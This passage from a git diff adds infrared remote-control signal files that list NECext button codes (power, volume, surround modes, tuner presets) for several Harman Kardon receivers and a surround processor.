+command: 83 00 00 00 +# +name: LEFT_ARROW +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 83 00 00 00 +# +name: SELECT_< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 83 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 83 00 00 00 +# +name: ON_SCREEN_ENTER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 84 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 84 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 84 00 00 00 +# +name: ON_SCREEN_ENTER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 84 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 84 00 00 00 +# +name: CURSOR_SET +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 84 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 84 00 00 00 +# +name: SURROUND_UP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 85 00 00 00 +# +name: SURROUND_DOWN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 86 00 00 00 +# +name: EFFECTS_^ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 87 00 00 00 +# +name: EFFECTS_V +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 88 00 00 00 +# +name: SURROUND_OFF +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 89 00 00 00 +# +name: SURR_OFF +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 89 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 89 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 89 00 00 00 +# +name: SURROUND_DELAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8A 00 00 00 +# +name: SURR_DELAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8A 00 00 00 +# +name: DELAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8A 00 00 00 +# +name: SURR_TEST +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8C 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8C 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8C 00 00 00 +# +name: T/V_/_TEST +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8C 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8C 00 00 00 +# +name: SURR_CENT_MODE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8D 00 00 00 +# +name: CENTER_MODE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8D 00 00 00 +# +name: CENT_MODE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8D 00 00 00 +# +name: CENTER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8D 00 00 00 +# +name: SPEAKER_^ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8E 00 00 00 +# +name: SPEAKER_+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8E 00 00 00 +# +name: SPEAKER_V +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8F 00 00 00 +# +name: SPEAKER_- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8F 00 00 00 +# +name: SURROUND_HALL +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 90 00 00 00 +# +name: SURR_HALL +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 90 00 00 00 +# +name: HALL +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 90 00 00 00 +# +name: CLUB +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 91 00 00 00 +# +name: SURROUND_THEATER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 92 00 00 00 +# +name: THEATER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 92 00 00 00 +# +name: SIM.SURR. +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 93 00 00 00 +# +name: SIM._SURR +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 93 00 00 00 +# +name: MATRIX +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 93 00 00 00 +# +name: SURROUND_STADIUM +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 94 00 00 00 +# +name: STADIUM +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 94 00 00 00 +# +name: MOVIE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 95 00 00 00 +# +name: NIGHT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 96 00 00 00 +# +name: NIGHT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 96 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 99 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 99 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 99 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 99 00 00 00 +# +name: UP_ARROW +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 99 00 00 00 +# +name: PIL_UPP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 99 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9A 00 00 00 +# +name: DN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9A 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9A 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9A 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9A 00 00 00 +# +name: DOWN_ARROW +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9A 00 00 00 +# +name: PIL_NER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9A 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9B 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9B 00 00 00 +# +name: STEREO/BYPASS +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9B 00 00 00 +# +name: VMAX +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9C 00 00 00 +# +name: SURROUND_3_STEREO +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9D 00 00 00 +# +name: SURR_3STEREO +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9D 00 00 00 +# +name: SURROUND_3-CH +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9D 00 00 00 +# +name: 3-CH +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9D 00 00 00 +# +name: 3_ST +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9D 00 00 00 +# +name: 3_CHAN._STEREO +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9D 00 00 00 +# +name: MOVIE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9E 00 00 00 +# +name: SURROUND_PRO-LOGIC +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9F 00 00 00 +# +name: SURR_PRO-LOGIC +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9F 00 00 00 +# +name: PRO-LOGIC +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9F 00 00 00 +# +name: PROLOGIC +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9F 00 00 00 +# +name: P/L +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9F 00 00 00 +# +name: DTS +type: parsed +protocol: NECext +address: 82 72 00 00 +command: A0 00 00 00 +# +name: DTS_SURR +type: parsed +protocol: NECext +address: 82 72 00 00 +command: A0 00 00 00 +# +name: DTS_SUR +type: parsed +protocol: NECext +address: 82 72 00 00 +command: A0 00 00 00 +# +name: DTS_SURROUND +type: parsed +protocol: NECext +address: 82 72 00 00 +command: A0 00 00 00 +# +name: DTS_NEO:6 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: A1 00 00 00 +# +name: DTS_NEO:6 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: A1 00 00 00 +# +name: DTS_NEO_6 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: A1 00 00 00 +# +name: DTS_NEO +type: parsed +protocol: NECext +address: 82 72 00 00 +command: A1 00 00 00 +# +name: LOGIC_7 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: A2 00 00 00 +# +name: AUDIO_EFFECTS +type: parsed +protocol: NECext +address: 82 72 00 00 +command: A7 00 00 00 +# +name: SURROUND_MODES +type: parsed +protocol: NECext +address: 82 72 00 00 +command: A8 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: C1 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: C1 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: C1 00 00 00 +# +name: LEFT_ARROW +type: parsed +protocol: NECext +address: 82 72 00 00 +command: C1 00 00 00 +# +name: NSTER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: C1 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: C2 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: C2 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: C2 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: C2 00 00 00 +# +name: RIGHT_ARROW +type: parsed +protocol: NECext +address: 82 72 00 00 +command: C2 00 00 00 +# +name: GER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: C2 00 00 00 +# +name: SPEAKER_1 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: C3 00 00 00 +# +name: SPEAKERS_1 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: C3 00 00 00 +# +name: SPEAKER_2 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: C4 00 00 00 +# +name: SPEAKERS_2 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: C4 00 00 00 +# +name: TONE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: C5 00 00 00 +# +name: PRES+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D0 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D0 00 00 00 +# +name: PRESET+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D0 00 00 00 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D0 00 00 00 +# +name: PRESET_UP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D0 00 00 00 +# +name: PSET_UP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D0 00 00 00 +# +name: PRESET_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D0 00 00 00 +# +name: AM/FM_PRESET_DISC_+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D0 00 00 00 +# +name: TUNER_PRESET_+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D0 00 00 00 +# +name: FM_PRESET_+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D0 00 00 00 +# +name: PRES- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D1 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D1 00 00 00 +# +name: PRESET- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D1 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D1 00 00 00 +# +name: PRESET_DOWN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D1 00 00 00 +# +name: PSET_DN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D1 00 00 00 +# +name: PRESET_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D1 00 00 00 +# +name: AM/FM_PRESET_DISC_- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D1 00 00 00 +# +name: TUNER_PRESET_- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D1 00 00 00 +# +name: FM_PRESET_- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D1 00 00 00 +# +name: AM/FM_SKIP_>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D2 00 00 00 +# +name: AM/FM_SKIP_<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D3 00 00 00 +# +name: AM/FM_PTY_(REC/) +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D4 00 00 00 +# +name: AM/FM_AF_(>) +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D5 00 00 00 +# +name: 6_CH +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D8 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D9 00 00 00 +# +name: CLEAR/M4 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D9 00 00 00 +# +name: 6/8_CH +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DB 00 00 00 +# +name: 6_CHAN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DB 00 00 00 +# +name: 6/8CH +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DB 00 00 00 +# +name: 6/8CH +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DB 00 00 00 +# +name: 6_CH. +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DB 00 00 00 +# +name: INPUT_6_CHANNEL +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DB 00 00 00 +# +name: RDS +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DD 00 00 00 +# +name: D.SKIP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DD 00 00 00 +# +name: AM/FM_RDS_DISP_(STOP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DD 00 00 00 +# +name: AUTO_PRESET +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DE 00 00 00 +# +name: AUTO-PRESET_MODE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DE 00 00 00 +# +name: M-ROOM +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DF 00 00 00 +# +name: MULTI-ROOM +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DF 00 00 00 +# +name: MULTI_ROOM +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DF 00 00 00 +# +name: MULTI +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DF 00 00 00 +# +name: M-RUM +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir new file mode 100644 index 000000000..ac3ea14d6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: TR_PLAY +type: parsed +protocol: NECext +address: 84 74 00 00 +command: 50 00 00 00 +# +name: TR_STOP +type: parsed +protocol: NECext +address: 84 74 00 00 +command: 51 00 00 00 +# +name: TR_PAUSE +type: parsed +protocol: NECext +address: 84 74 00 00 +command: 52 00 00 00 +# +name: TR_SCAN_<< +type: parsed +protocol: NECext +address: 84 74 00 00 +command: 53 00 00 00 +# +name: TR_SCAN_>> +type: parsed +protocol: NECext +address: 84 74 00 00 +command: 54 00 00 00 +# +name: TR_SKIP_<< +type: parsed +protocol: NECext +address: 84 74 00 00 +command: 55 00 00 00 +# +name: TR_SKIP_>> +type: parsed +protocol: NECext +address: 84 74 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir new file mode 100644 index 000000000..46fc359be --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: SIB_FILTER +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 00 00 00 00 +# +name: 70MM +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 02 00 00 00 +# +name: ROCK +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 03 00 00 00 +# +name: HIGH_EQ_(HIGH) +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 04 00 00 00 +# +name: BASS_EQ_(BASS) +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 05 00 00 00 +# +name: CUSTOM_2 +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 06 00 00 00 +# +name: 6AXIS +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 07 00 00 00 +# +name: STEREO_ONLY_(S/O) +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 08 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0A 00 00 00 +# +name: JAZZ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0B 00 00 00 +# +name: CUSTOM_3 +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0C 00 00 00 +# +name: CUSTOM_4 +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0D 00 00 00 +# +name: SURROUND_SOUND +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0E 00 00 00 +# +name: CLASS +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 0F 00 00 00 +# +name: MONO+ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 12 00 00 00 +# +name: CUSTOM_1 +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 13 00 00 00 +# +name: EXIT/OK +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 18 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 19 00 00 00 +# +name: SYSTEM_(SETUP) +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 1A 00 00 00 +# +name: OPTIONS_(SET) +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 1B 00 00 00 +# +name: SOURCE_(EDIT) +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 1C 00 00 00 +# +name: SURR_MODE_(EDIT) +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 1D 00 00 00 +# +name: SURROUND_(BAL) +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 1E 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 1F 00 00 00 +# +name: PAN +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 40 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 41 00 00 00 +# +name: SOURCES_1 +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 42 00 00 00 +# +name: SOURCES_2 +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 46 00 00 00 +# +name: ^ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 48 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 49 00 00 00 +# +name: SOURCES_3 +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 4A 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 4B 00 00 00 +# +name: CENTER_SPEAKER +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 4C 00 00 00 +# +name: VENUE +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 4D 00 00 00 +# +name: SOURCES_4 +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 4E 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 50 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 51 00 00 00 +# +name: SOURCES_5 +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 52 00 00 00 +# +name: PANEL_(DIM) +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 53 00 00 00 +# +name: SOURCES_6 +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 54 00 00 00 +# +name: SOURCES_7 +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 55 00 00 00 +# +name: SOURCES_8 +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 57 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 58 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 59 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 84 42 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir new file mode 100644 index 000000000..ac19a889d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 00 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 01 00 00 00 +# +name: SOURCE_CABLE/SAT +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 04 00 00 00 +# +name: SOURCE_DVD +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 05 00 00 00 +# +name: SOURCE_THE_BRIDGE +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 06 00 00 00 +# +name: SOURCE_RADIO +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 08 00 00 00 +# +name: SOURCE_TV +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 09 00 00 00 +# +name: SOURCE_GAME +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 0A 00 00 00 +# +name: SOURCE_MEDIA_SERVR +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 0B 00 00 00 +# +name: SOURCE_AUX +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 0C 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 1B 00 00 00 +# +name: BACK/EXIT +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 1C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 1D 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 1F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 20 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 21 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 22 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 23 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 28 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 29 00 00 00 +# +name: VOLUME_MUTE +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 2A 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 2B 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 2C 00 00 00 +# +name: TR_SKIP_<< +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 2D 00 00 00 +# +name: TR_PAUSE +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 2E 00 00 00 +# +name: TR_SKIP_>> +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 2F 00 00 00 +# +name: TR_SCAN_<< +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 30 00 00 00 +# +name: TR_PLAY +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 31 00 00 00 +# +name: TR_SCAN_>> +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 32 00 00 00 +# +name: TR_STOP +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 33 00 00 00 +# +name: TR_REC +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 34 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 36 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 86 76 00 00 +command: 38 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir new file mode 100644 index 000000000..7e66d550b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: CASSETTE_FF_>> +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 10 00 00 00 +# +name: CASSETTE_REW_<< +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 11 00 00 00 +# +name: CASSETTE_POWER +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 12 00 00 00 +# +name: CASSETTE_STOP_[] +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 16 00 00 00 +# +name: CASSETTE_PLAY_> +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 17 00 00 00 +# +name: CASSETTE_PAUSE_ +type: parsed +protocol: NECext +address: A1 00 00 00 +command: 18 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir new file mode 100644 index 000000000..31d11e5aa --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: A4 00 00 00 +command: 01 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir new file mode 100644 index 000000000..9e1da22f7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0D 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir new file mode 100644 index 000000000..aee445f90 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_FF_>> +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 04 00 00 00 +# +name: VCR_PLAY_> +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0A 00 00 00 +# +name: VCR_PAUSE +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0B 00 00 00 +# +name: VCR_REW_<< +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0C 00 00 00 +# +name: VCR_STOP_[] +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1C 00 00 00 +# +name: VCR_POWER +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 20 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir new file mode 100644 index 000000000..6c8446d9b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: SAT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir new file mode 100644 index 000000000..19dfe72d2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir new file mode 100644 index 000000000..ab27c6331 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: VID_1 +type: parsed +protocol: NECext 